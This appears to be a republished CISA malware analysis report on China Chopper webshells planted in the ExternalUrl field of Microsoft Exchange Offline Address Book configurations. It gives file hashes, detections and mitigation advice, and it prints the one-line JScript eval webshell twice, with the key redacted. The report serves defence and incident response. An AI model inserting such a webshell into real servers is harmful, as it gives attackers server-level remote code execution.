ssdeep	24:k/U0rdjMr+rJTh91Q/PrG68U6Q68UB1idfh6hl9U2E4ONF0q3dYfj:k/U0rdf1BY67PQZ6hl9C4ONF0q3m
Entropy	4.531459

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This is file is an OAB configuration file. The configuration contains a key in the ExternalUrl field used for authentication. No webshell was observed in this configuration at the time of analysis.

Displayed below are the contents of the configuration (sensitive data was redacted):

–Begin configuration–
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             : Default Offline Address List (Ex2013)
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS[:]//[REDACTED]-EX18.[REDACTED].local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 2106.2)
Server                         : [REDACTED]-EX18
InternalUrl                     : hxxps[:]//[REDACTED’.net/oab
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/[REDACTED]
ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED]-EX18,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=[REDACTED],CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=local
Identity                        : [REDACTED]-EX18OAB (Default Web Site)
Guid                            : 07f36d7a-e617-444f-be47-1cd20de5d832
ObjectCategory                 : [REDACTED].local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 2/27/2021 7:18:13 AM
WhenCreated                     : 8/2/2018 8:41:28 AM
WhenChangedUTC                 : 2/27/2021 1:18:13 PM
WhenCreatedUTC                 : 8/2/2018 1:41:28 PM
OrganizationId                 :
Id                             : [REDACTED]-EX18OAB (Default Web Site)
OriginatingServer             : [REDACTED]-DC19.[REDACTED].local
IsValid                         : True
–End configuration–

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

MAR-10328923-1.v1: China Chopper Webshell

by Scott Muniz | Mar 13, 2021 | Security, Technology

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received two files for analysis. These files appear to contain configuration data for two different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a single Microsoft Exchange Server. Both output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In one of the OAB VDs, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10328923-1.v1.stix.

Submitted Files (2)

1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee (discover.aspx)

c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5 (RedirSuiteServerProxy.aspx)

Findings

c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5

Tags

backdoorwebshell

Details

Name	RedirSuiteServerProxy.aspx
Size	2349 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	ab3963337cf24dc2ade6406f11901e1f
SHA1	9a29c483b38a7ae645c6c43a0b543f9def8818cc
SHA256	c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5
SHA512	e37cd29532106a7f5ae4c248429190541d1b8403ec7df40616a8c6a0d0d4f98ac8a520277f18df3654f00eed4faa05d787adff5f498f5684117775cc49e22baf
ssdeep	48:k/U0rd3W1BN46nIPQZLhPYFuQ14ONF0qy2q:kFd3WZvdYFPPNCqy2q
Entropy	4.607268

Antivirus

Microsoft Security Essentials	Backdoor:ASP/Chopper.F!dha
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange servers. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin Code–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End Code–

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee

Tags

backdoorwebshell

Details

Name	discover.aspx
Size	2230 bytes
Type	HTML document, ASCII text, with CRLF line terminators
MD5	ca7df873422d59c358397d3cb44ae6aa
SHA1	f95be23d52cbaa24bde99cf33a9be55bca688972
SHA256	1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee
SHA512	9e696ad26291e391cb29aff1845f78f0024f4808b10aa17cf7192f6f144378ea43b5533e3e0669cc19b07d88e00f4be39a95fa5500559573177b59585b7dad30
ssdeep	48:kNrdelW1BDc0oM5QZLhPYFzQ14ONF0q6q:ktdelWfXWYF0PNCq6q
Entropy	4.657248

Antivirus

Microsoft Security Essentials	Backdoor:ASP/Chopper.F!dha
Sophos	Troj/WebShel-L

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
—End Code—

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.